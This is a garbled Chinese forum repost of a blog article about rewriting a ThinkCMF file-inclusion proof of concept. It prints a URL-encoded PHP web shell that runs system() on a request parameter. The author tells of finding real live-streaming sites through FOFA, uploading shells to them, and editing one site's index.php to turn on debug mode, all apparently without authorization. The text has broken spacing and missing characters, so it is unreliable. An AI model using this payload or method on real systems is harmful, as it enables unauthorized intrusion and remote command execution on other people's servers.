搜索

[27007] 2020-06-04_单引号双引号与poc的故事

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2020-06-04_单引号双引号与poc的故事 单 引 号 双 引 号 与 p o c 的 故 事 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 6 - 0 4 收 录 于 话 题   # S R S P   T e a m   , 1 7 个 本 文 作 者 ： S R S P   T E A M ： t a o m u j i a n p o c 的 故 事 开 始 的 故 事 开 始 最 近 编 写 个 T h i n k c m f 任 意 件 内 容 包 含 漏 洞 插 件 , 因 为 之 前 写 过 这 个 漏 洞 的 p o c 觉 着 会 很 简 单 , 此 次 的 只 要 增 强 下 功 能 , 能 上 传 定 义 的 就 拿 出 曾 经 写 的 p o c 开 始 改 造 之 旅 , 先 找 个 境 , 曾 经 发 好 多 境 外 i p 的 直 播 站 的 都 是 这 个 框 架 , 所 以 本 地 也 不 搭 建 了 , f o f a 上 直 接 搜 索 直 播 , 可 以 看 到 很 多 标 , 随 便 寻 找 个 先 p o c 试 下 , 成 功 了
访 问 上 传 的 s h e l l 件 , 可 上 传 成 功 了 , 但 s y s t e m 危 险 函 数 被 禁 使 了 , 所 以 上 传 其 它 的   , 这 次 上 传 个 只 具 有 件 上 传 点 的 件 。 问 题 来 了 , p o c 中 的 p a y l o a d 是 公 开 的 , 但 是 怎 么 构 造 的 呢 ？   % 3 c % 3 f % 7 0 % 6 8 % 7 0 % 0 d % 0 a % 6 5 % 6 3 % 6 8 % 6 f % 2 0 % 6 d % 6 4 % 3 5 % 2 8 % 2 2 % 5 4 % 6 8 % 6 9 % 6 e % 6 b % 4 3 % 4 d % 4 6 % 2 2 % 2 9 % 3 b % 0 d % 0 a % 2 0 % 2 0 % 2 0 % 2 0 % 6 9 % 6 6 % 2 8 % 6 9 % 7 3 % 7 3 % 6 5 % 7 4 % 2 8 % 2 4 % 5 f % 5 2 % 4 5 % 5 1 % 5 5 % 4 5 % 5 3 % 5 4 % 5 b % 2 2 % 6 3 % 6 d % 6 4 % 2 2 % 5 d % 2 9 % 2 9 % 7 b % 0 d % 0 a % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 6 5 % 6 3 % 6 8 % 6 f % 2 0 % 2 2 % 3 c % 7 0 % 7 2 % 6 5 % 3 e % 2 2 % 3 b % 0 d % 0 a % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 4 % 6 3 % 6 d % 6 4 % 2 0 % 3 d % 2 0 % 2 8 % 2 4 % 5 f % 5 2 % 4 5 % 5 1 % 5 5 % 4 5 % 5 3 % 5 4 % 5 b % 2 2 % 6 3 % 6 d % 6 4 % 2 2 % 5 d % 2 9 % 3 b % 0 d % 0 a % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 7 3 % 7 9 % 7 3 % 7 4 % 6 5 % 6 d % 2 8 % 2 4 % 6 3 % 6 d % 6 4 % 2 9 % 3 b % 0 d % 0 a % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 6 5 % 6 3 % 6 8 % 6 f % 2 0 % 2 2 % 3 c % 2 f % 7 0 % 7 2 % 6 5 % 3 e % 2 2 % 3 b % 0 d % 0 a % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 6 4 % 6 9 % 6 5 % 3 b % 0 d % 0 a % 2 0 % 2 0 % 2 0 % 2 0 % 7 d % 0 d % 0 a % 7 0 % 6 8 % 7 0 % 6 9 % 6 e % 6 6 % 6 f % 2 8 % 2 9 % 3 b % 0 d %   0 a % 3 f % 3 e
看 着 p a y l o a d 好 像 是 u r l 编 码 , 去 h t t p : / / t o o l . c h i n a z . c o m / T o o l s / U R L E n c o d e . a s p x ? q q - p f - t o = p c q q . t e m p o r a r y c 2 c 解 下 码 , 发 现 可 以 成 功 解 码 然 后 再 编 码 下 , 咋 回 事 怎 么 和 原 来 的 不 一 样 换 个 站 h t t p : / / w e b . c h a c u o . n e t / c h a r s e t u r l e n c o d e , 发 现 这 上 有 个 选   , 对 基 本 字 符 进 编 码 , 也 可 以 对 所 有 字 符 进 u r l 编 码 , 试 下 对 所 有 字 符 串 进 u r l 编 码 , 这 下 对 了 。
p y t h o n 3 带 的 u r l l i b . p a r s e . q u o t e 只 会 对 些 字 符 串 进 编 码 , 要 想 对 所 有 字 符 串 进   u r l 编 码 , 得 写 个 功 能 , v 2 e x 上 有 哥 问 过 这 个 问 题 了 , h t t p s : / / w w w . v 2 e x . c o m / t / 3 5 2 7 2 3 , 问 题 评 论 下 有 答 案 , 试 了 下 是 可 以 的 。 接 下 来 就 把 的 件 传 上 去 , 试 下 , 失 败 了 , 竟 然 失 败 了 , 此 处 有 个 坑 , 上 传 的 件 中 不 能 单 引 号 , 有 单 引 号 会 上 传 失 败 , 这 个 问 题 困 扰 我 好 时 间 , 在 伙 伴 提 示 下 我 先 上 传 收 集 的 句 话 ( 为 什 么 成 功 了 ? 后 来 才 知 道 上 传 的 这 个 句 话 是 双 引 号 , 所 以 成 功 了 ) , 然 后 去 把 标 的 调 试 模 式 打 开 . 对 就 这 么 的 , 直 接 修 改 i n d e x . p h p , 然 后 修 改 调 试 为 真 就 好 然 后 浏 览 器 直 接 发 送 带 单 引 号 的 p a y l o a d , 发 送 过 去 , 可 以 看 到 已 经 有 报 错 了
去 看 下 志 件 找 到 内 容 后 终 于 知 道 了 原 因 , 这 个 框 架 会 执 这 么 句 话 , 在 这 句 话 中 我 们 写 的 内 容 有 单 引 号 , 外 有 个 单 引 号 , 所 以 p h p 解 析 错 误 了 。
终 于 知 道 原 因 了 , 修 改 p o c , 这 个 插 件 终 于 写 好 了 , 完 美 , 收 扫 描 下 方 二 维 码 加 入 扫 描 下 方 二 维 码 加 入 W e b 安 全 攻 防 安 全 攻 防 星 球 学 习 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 目 前 目 前 2 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理